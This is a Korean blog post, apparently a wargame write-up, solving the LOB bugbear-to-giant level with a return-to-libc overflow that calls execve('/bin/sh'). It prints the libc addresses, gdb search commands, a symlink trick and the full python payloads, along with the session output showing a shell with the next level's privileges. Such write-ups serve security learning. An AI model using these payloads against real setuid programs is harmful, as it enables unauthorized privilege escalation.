일단 중간중간 찍은 스샷부터
0x40058ae0 --> system
0x400fbff9 --> binsh
0x400a9d48 --> execve
0xbffffb0c --> null
0x400391e0 --> exit
포인터 배열
0xbffffad4
&execve &exit &binsh &&binsh &null
"`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x02\xfc\xff\xbf" + "\xa0\xfa\xff\xbf"'`"
./"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xc8\xfa\xff\xbf"'`"
./"`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\x08\xfb\xff\xbf"'`"
올리다보니 순서가 거꾸로 되었다..
아래서 위로 보면될듯
이 문제를 풀기 위해서는 일단
execve() 의 기본형을 알아야 한다.
execve(
실행할 파일명
넘길 인자값
관련 환경변수
)
인데, 일단 우리가 필요한건
execve("/bin/sh",["/bin/sh",null],null)
이다. 이제 이 하나하나 주소값으로 넘겨주어야 하는데,
페이로드는
dummy(44) + &execve + &exit + &/bin/sh + &(/bin/sh, null) + null
되시겄다.
execve 주소와 exit 주소, /bin/sh 주소 구하는 것은 darkknight -> bugbear 에서 했으니
여기서는
어떻게 &(/bin/sh, null) 를 구했는지 알아보겠다.
일단 메모리에 (/bin/sh 의 주소가 0x11111111 이라고 했을 때,)
0xbffffa38: 11111111 00000000
이런 식으로 들어가 있어야 한다.
11111111 이 배열 0, 00000000 이 배열 1 이 되는 것이다.
찾는 방법은
set $x=$esp
while(*++$x!=0x11111111)
end
x/4x $x
이런식으로 찾아가면 된다.
만약 11111111을 찾았는데 뒤의 값이 널값(00000000) 이 아닐경우,
set $x=$x+4
이런식으로 넘기고 다시 while 문을 돌리면 금방 찾는다.
+++
하지만 중요한것은 일반적으로 /bin/sh 뒤에 00000000이 오기가 쉽지 않다.
그래서 심볼릭 링크를 통해, 직접 메모리에 저 값을 넣어줄 것이다.
ln -s giant "`python -c 'print &bin/sh + null(0x0000000)'`"
이렇게 하면, 파일 명이 메모리에 남으므로 메모리에 저 값을 넣을 수 있다.
[bugbear@localhost tmp]$ ./"`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\x08\xfb\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH
@σ@?y¿
bash$ my-pass
euid = 513
new divide
bash$ exit
exit
[bugbear@localhost tmp]$ cd ..
[bugbear@localhost bugbear]$ ln -s giant "`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"
ln: ?File exists
[bugbear@localhost bugbear]$ rm -i ./*
rm: remove write-protected file `./giant'? n
rm: remove write-protected file `./giant.c'? n
rm: ./tmp: is a directory
rm: remove `./? y
[bugbear@localhost bugbear]$ ln -s giant "`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`"
[bugbear@localhost bugbear]$ ./"`python -c 'print "\xf9\xbf\x0f\x40" + "\x00\x00\x00\x00"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\x08\xfb\xff\xbf"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH
@σ@?y¿
bash$ id
uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear)
bash$ my-pass
euid = 514
one step closer
bash$
'Wargame > LOB(끝)' 카테고리의 다른 글
giant -> assassin (0) | 2015.03.22 |
---|---|
파이썬 버그 0x0f -> 0x00 (0) | 2015.03.22 |
darkknight -> bugbear (0) | 2015.03.20 |
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. (0) | 2015.03.20 |
vampire -> skeleton (0) | 2015.02.02 |